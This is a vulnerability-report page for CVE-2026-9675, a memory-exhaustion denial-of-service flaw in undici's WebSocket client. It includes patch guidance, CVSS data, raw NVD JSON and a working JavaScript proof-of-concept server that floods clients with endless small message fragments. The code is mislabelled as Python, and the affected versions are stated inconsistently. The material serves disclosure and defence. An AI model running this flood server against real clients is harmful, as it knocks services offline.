Security Vulnerability Report
中文
CVE-2026-9675 CVSS 7.5 HIGH

CVE-2026-9675

Published: 2026-06-17 17:17:28
Last Modified: 2026-06-17 18:18:06
Source: ce714d77-add3-4f53-aff5-83d477b104bb

Description

Impact: The undici WebSocket client enforces maxPayloadSize per-frame but does not enforce the cumulative size of fragmented uncompressed messages. A malicious WebSocket server can stream many small fragments that each pass per-frame validation but collectively exceed the configured limit, causing unbounded memory growth in the client process. The result is memory exhaustion and a denial of service. Affected applications are those using the undici WebSocket client (new WebSocket(...)) that can be induced to connect to an attacker-controlled or compromised WebSocket endpoint. This is a regression specific to undici 8.1.0. The 6.25.0 line shipped the equivalent cumulative check from the start and is unaffected. The 7.x line never had the maxPayloadSize feature and is also unaffected. Patches: Upgrade to undici >= 8.5.0. Workarounds: No workaround is available. The fix must be applied through an upgrade.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

undici 8.1.0(该漏洞为8.1.0特有的回归)
undici > 8.1.0 且 < 8.5.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-9675: undici WebSocket fragmented message DoS // This PoC demonstrates a malicious WebSocket server that sends // many small fragments to exhaust client memory. // Malicious WebSocket Server (using 'ws' library) const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 8080 }); wss.on('connection', (ws) => { console.log('Client connected, starting fragmented message flood...'); // Start a fragmented message (FIN bit = 0 indicates continuation frame) // Each fragment is small enough to pass per-frame validation // but collectively they exhaust client memory const fragmentSize = 1024; // 1KB per fragment (small enough to pass per-frame check) const fragment = Buffer.alloc(fragmentSize, 'A'); // Send first frame (FIN=0, opcode=0x1 text) ws.send(fragment, { binary: false, fin: false }); // Continuously send continuation frames (FIN=0, opcode=0x0) // Each passes per-frame maxPayloadSize check // but cumulative size grows unbounded const interval = setInterval(() => { try { ws.send(fragment, { binary: false, fin: false }); } catch (e) { clearInterval(interval); console.log('Client disconnected or error:', e.message); } }, 1); // Send as fast as possible ws.on('close', () => { clearInterval(interval); console.log('Client disconnected'); }); }); console.log('Malicious WebSocket server listening on ws://localhost:8080'); // --- Vulnerable Client (undici 8.1.0) --- // const { WebSocket } = require('undici'); // const ws = new WebSocket('ws://localhost:8080', { // maxPayloadSize: 4096 // Only enforces per-frame, not cumulative // }); // ws.onmessage = (event) => { /* client memory grows unbounded */ };

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9675", "sourceIdentifier": "ce714d77-add3-4f53-aff5-83d477b104bb", "published": "2026-06-17T17:17:28.183", "lastModified": "2026-06-17T18:18:05.903", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Impact:\nThe undici WebSocket client enforces maxPayloadSize per-frame but does not enforce the cumulative size of fragmented uncompressed messages. A malicious WebSocket server can stream many small fragments that each pass per-frame validation but collectively exceed the configured limit, causing unbounded memory growth in the client process. The result is memory exhaustion and a denial of service.\n\nAffected applications are those using the undici WebSocket client (new WebSocket(...)) that can be induced to connect to an attacker-controlled or compromised WebSocket endpoint.\n\nThis is a regression specific to undici 8.1.0. The 6.25.0 line shipped the equivalent cumulative check from the start and is unaffected. The 7.x line never had the maxPayloadSize feature and is also unaffected.\n\nPatches:\nUpgrade to undici >= 8.5.0.\n\nWorkarounds:\nNo workaround is available. The fix must be applied through an upgrade."}], "affected": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "affectedData": [{"vendor": "undici", "product": "undici", "defaultStatus": "unaffected", "packageURL": "pkg:npm/undici", "versions": [{"version": "8.0.0", "lessThan": "8.5.0", "versionType": "semver", "status": "affected"}, {"version": "8.5.0", "versionType": "semver", "status": "unaffected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-17T17:29:24.751635Z", "id": "CVE-2026-9675", "options": [{"exploitation": "none"}, {"automatable": "yes"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://cna.openjsf.org/security-advisories.html", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}, {"url": "https://github.com/nodejs/undici/security/advisories/GHSA-38rv-x7px-6hhq", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}]}}